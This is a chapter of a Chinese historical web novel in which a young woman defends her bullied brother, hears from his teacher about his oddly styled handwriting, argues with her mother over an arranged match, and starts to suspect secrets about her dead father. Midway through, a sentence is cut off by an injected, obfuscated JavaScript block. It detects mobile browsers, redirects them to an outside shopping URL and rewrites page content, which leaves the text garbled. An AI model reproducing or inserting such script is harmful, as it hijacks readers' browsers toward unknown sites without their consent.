桐岭书院坐落在东山下，因背靠一片葱郁的桐树林，故而得名。
书院是由一间旧祠堂改的，青砖灰瓦，门楣上悬着略显斑驳的匾额，虽不奢华，但在这乡野之间却是一股难得的文墨气息。
苗蓁刚靠近书院，便听到了阵阵孩童无拘无束的笑闹声。她熟门熟路地绕过正门，目光在嬉闹的孩童中搜寻却始终看不见弟弟文茂的身影。
终于，她走到一处拐角处才看见一个熟悉的侧影，只是——前面还围着站了几个人。
“苗文茂，你昨日书背得太快，引得我们都被先生留堂责罚，偏你一人早回了家。先生总夸你天资好又用功，叫我们学着。可今日启明问你句释义，你却不肯搭理，你这分明是眼里瞧不起人！”
“没有……我今日生辰，娘和阿姐都在家中等我，这才……”
“那前日怎么说？周洛找你说话，你也躲着。总不能又狡辩说是你生辰吧？”
“那是、那是他说我没爹，我才不理会他！”
“你本来就没爹，纵使以后读书再好有什么用？还是得靠你母亲和姐姐养活！”
文茂猛地转过身来，脸涨得通红，声音有些颤抖。“你……胡说什么？”
看到眼前这情形，苗蓁心里仿佛一股火“噌”地烧了起来。她丝毫没有忍让，疾步冲了上去。
她目光冰冷而锐利，却并不凶狠——她并不想欺负小孩子，她只是用平静而笃定的语气说道：
“学堂是读书明理的地方，不是你们呈口舌之利、伤人欺人的地方。”
“我……又没说错，他本来就……”那小孩不服气地仰着头，还在试图争辩。
“有无父亲是家事，不是可以用来评判一个人品行高低的理由。”苗蓁打断他，“文茂在学堂读书用功，尊敬师长，友爱同窗，这是他的‘礼’。而你，仗着自己大几岁，就在这聚众嘲讽，你虽有爹娘，却似无人管教，到学堂学了个什么？若是让先生听到你这番言论，不知道他会如何想，你爹娘又会如何想？”
几个孩子面面相觑，不自觉往后缩了缩，为首的那孩子涨红了脸。
至此，苗蓁放缓了语气，“行了，你们快些回家吧，省得家人挂心。既是在学堂，应当把心思放在读书上。今日之事点到为止，日后若是让我再知道你们欺负文茂或是其他同学，我可得让先生找你们爹娘好好理论一番了。”
众人悻悻点了点头，含糊应了一声，互相拉扯着走开了。
“阿姐。”
听到文茂的声音，苗蓁这才转过身蹲下来，看着文茂。
“文茂，你好好读书便是，别听他们胡说了。”
她轻轻拍了拍弟弟的背，安抚着他。
“你记得‘君子交绝，不出恶声’，日后再遇到这样的人，别搭理。”
文茂只是抹着眼泪连忙点头。
“走，我们回家。”苗蓁起身，牵起文茂的手，沿着来时路往回走。
他们俩刚走到书院侧门，就忽而听到一个温柔的声音从身后响起：
“苗蓁，文茂？”
苗蓁一转身，只见一位身着半旧青灰袍子、身形挺拔的中年文士缓步走来。此人约莫四十多岁，面容清雅，目光温润而明澈，正是桐岭书院的秦先生。
“秦先生。”苗蓁恭恭敬敬对他行了礼，文茂也赶忙躬身作揖。
苗蓁小时也曾经在桐岭学院读过书。那时女子读书极少，但秦先生与夫人开明，认为女子读书明理并非坏事。故若是有心送到书院开蒙者，他们也愿意教导。
“苗姑娘不必多礼。”秦先生双手虚扶，目光随即落到文茂脸上，看到他未干的泪痕，俯下身，声音放缓，问道：“文茂，方才可是被人欺负，受了委屈？”
“是。”苗蓁无奈地点点头，代弟弟答道。
同样的事情，苗蓁小时候也曾经经历过。
秦先生直起身，轻叹一声，神色郑重地对苗蓁说道：“此时我已经知晓。学堂之内当和睦为先，恃强凌弱、出言无状、绝非读书人所为。我日后自会对他们加以训导，不使此类事情再发生。”
“多谢先生关怀，我自会好好开导文茂的。”
“对了，”先生像是想起了什么，“最近批阅课业，我发现文茂的字，进步显著。于蒙童之中实属难得，可以说颇有天赋。”
“真的？”苗蓁十分意外，低头看了看弟弟。
“当真。”秦先生点点头，但话锋一转，“只是，我细观察其笔法风格，不似寻常字帖所授。倒是……有些行书笔意杂糅期间。”
“这可有什么不妥？”苗蓁追问。
“于日常书写自然无妨，但是于科举正途而言，他现在写得好看，也只是模仿了字形姿态，但是写字如筑屋，根基规矩最为紧要。若是初学便沾染了过多个人习气，日后笔法难以端正，于考场可是大为不利。”
“可有方法矫正？”苗蓁心下明了，也重视起来。
“这倒也不难。”秦先生语气缓和下来，“你问问文茂，平日练字，可是参考了家中什么书籍或者哪位长辈写的书信账目？这些字虽然好，但是已经自成风格，不适合学童临摹，让他不要继续临摹就是。”
说罢，他从袖中掏出一本用青布仔细包裹着的册子，递给了苗蓁。
“这是我早年手抄的《大学》篇章，用的是最端正的写法，笔笔清晰，合乎规范。你带回去，让文茂以此为本，每日尽心临摹。”
苗蓁双手接过，心中感激，“多谢。先生苦心，我定当好好督促文茂。”
秦先生面带微笑，忽而像是想起什么，“哎，阿蓁，我倒是还有一事相问。”
“先生请说。”
先生上前两步，压低声音，神色间带着些许关切与迟疑，“是关于向祺公子的。他来桐川祭祖，也待了一段时间。近来，乡里有传闻，说他便是……你母亲为你相看的对象，此事可有真？”
苗蓁听到“向祺”二字，只觉得有些难堪，神色立刻慌乱起来。
先生见她如此，连忙温声解释道：“你莫要多想，并非我多事。只是这乡间留言，无孔不入。你父亲去世得早，家中只有母亲操持。你若是真是许到外乡，我担心文茂是否也要随家转学。我身为师长，不得不多问一句，你切莫误会。”
能听到秦先生话语恳切，苗蓁心中的慌乱稍有平复。此刻，纵使心中有无奈之意，却也理解了几分，于是和颜与先生解释道：
“先生关心，苗蓁明白，心中感激。只是这婚事如何，连我自己亦不清楚。”苗蓁脸上带着迷茫与无奈。
先生见状，知她心中苦闷，却也不便多言，只得宽慰几句，便与姐弟二人告别了。
回程路上，暮色渐合。
苗蓁牵着弟弟，沉着脸一言不发，心里还是想着先生刚才说的话。
母亲闻声出来，本喜笑颜开，向前迎她，却只见她面容阴沉，笑容凝在嘴角。
“文茂的生辰，这样好的日子，你怎么垮着个脸？”
听到母亲这样问，苗蓁也不打算再隐忍。
她转过身对着文茂柔声道：
“文茂，你先进屋温书，饭好了叫你。”
文茂听话离开。支开弟弟后，苗蓁看向母亲，
“向祺表哥回家祭祖，现在已经事毕，本该回去了。但是，他这两日却在这儿逗留。娘，您可知道这是为何？”
娘亲愣了一下，随即道：“是我想让他多住几天。前些日子你忙着送油送货，没时间与他见面。我寻思着……”
“娘！”苗蓁打断她，声音里压着怒气，
“莫说您去年就张罗这事儿，表舅并未做声，他是未必看得上咱们。我自己，早已和您说了多次——我不愿意。您今日又不与我商量，自行安排。娘，你心里到底还有没有把我当成您的女儿？”
“我就是把你当成我的女儿，才费心为你安排这些。”娘亲也激动起来，“向祺哪里不好？县学廪生，前程大好，你若是嫁过去……”
“没一个字我爱听的。”苗蓁只觉得胸中一股浊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092351|195485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气，差点要晕过去。
母亲听到这话也不知何言。
“文茂该饿了，您赶紧把面给他吃吧。”苗蓁说完，不去看母亲神色，转身就离开了小院，独自往屋后那熟悉的小径走去。
她来到平日里洗衣的溪水便，心中烦闷无处发泄，抬脚便把一块圆石踢进了潺潺溪水中。“扑通”一声，涟漪荡开，但是她的心却依旧沉闷。
对于婚嫁，苗蓁并非没有想过。母亲看中的向祺表哥，象征着安稳与前程，日后若是婚事能成，她只需要应酬官眷、管理仆役，做好内宅分内之事。虽清闲体面，算得世人眼里的好归宿。但是，对从小爱东奔西跑、向往见世面的苗蓁而言，但是这样的人生，却并非是她想要的。
她沿着溪流一直漫无目的地走着，直到天边烧起晚霞，白昼将近，晚风吹来。
她忽而感到一阵凉意，才意识到天色已晚。
她突然想起了今日秦先生所说的事情——文茂练字的事情。她突然觉得自己这般在外面生闷气只添了几分滑稽，母亲还是老样子，她心中的郁结也不得解除，倒还不如去把这桩事儿解决了。
想到这儿，她调转方向，快步朝家里走去。
院子里静悄悄的，她先走到厨房，灶台上的竹编罩子下，果然温着一份饭菜。看到这，她心里的气消除了几分。母亲再固执，对她的疼爱，终究藏在这一点一滴的日常里。
她走到侧屋窗边，透过缝隙，看见文茂正趴在桌前，就着一盏豆大的油灯，手握着笔，一笔一划地写着字。
她推门进去，问道：“娘呢？”
文茂抬起头，“娘说她去点货了。”
苗蓁点点头，走到弟弟身边，看着纸上那些初具模样的字，温声道：“先生说你勤勉，字写得很好。”
“当真？”文茂的眼睛一下就亮了。
“自然，姐姐还能骗你吗。”苗蓁摸摸他的头，随即又说，
“不过……先生也问，你可有在家里按照什么别的书或是字帖练习过？”
文茂小声道：“我就是……偷偷翻过娘箱子里那些旧书。我看那上面的字写得好看，便……跟着描画。”
苗蓁心里咯噔一声。
那箱子母亲十分珍视，苗蓁小时候也翻过，被母亲狠狠训斥一番。
她依稀记得，那似乎是父亲留下的。
但是，随着年纪的长大，她和母亲闲聊时，都会避开这个话题，对于“父亲”的探索，一如那早已被母亲束之高阁的旧箱子。
“那些是母亲的东西，你日后莫要乱翻了。”苗蓁叮嘱道，又把白日里先生给的字帖交给了文茂，“习字须得打好地基，你好好跟着先生给的这本练习，知道了吗？”
文茂似懂非懂，听话地点点头。
苗蓁的思绪开始飘远，下午与陈青柯的对话，令她有了些不切实际的猜想。
她们家并非书香门第，母亲终日操劳，多年的农耕与经商，言谈举止已是地道的农家妇人做派。
但是苗蓁却从小旧察觉到的是一些不同寻常的蛛丝马迹。
最明显的，是母亲识字。村里许多妇人，连自己的名字都写不全。但是母亲不仅仅能够清晰地记账，偶尔翻看文茂的书时，眼神也是顺溜的，绝无滞涩。
再者，便是苗蓁的名字。“其叶蓁蓁”出自《诗经》。母亲曾说，这是草木茂盛的意思，寓意是愿她生机勃勃。
想必这是父亲给她起的名字，而关于父亲唯一的线索，便是文茂提到的那个箱子。
她小时候打开过一回，里面码放的不是金银财宝，而是整整齐齐的一摞摞泛黄的线装书籍。现在回忆起来，似乎都带着一股陈年墨香。那是与这个家里的柴米油盐截然不同的气息。
更加奇怪的是，这么多年，娘亲对关于父亲的是始终缄口不言。
苗蓁望着跳跃的灯花，心中顿生疑窦。
那箱神秘的旧书，隐隐暗示着一段被母亲刻意隐瞒的记忆，这让她心头有些发沉，却又有一丝难以言喻的悸动。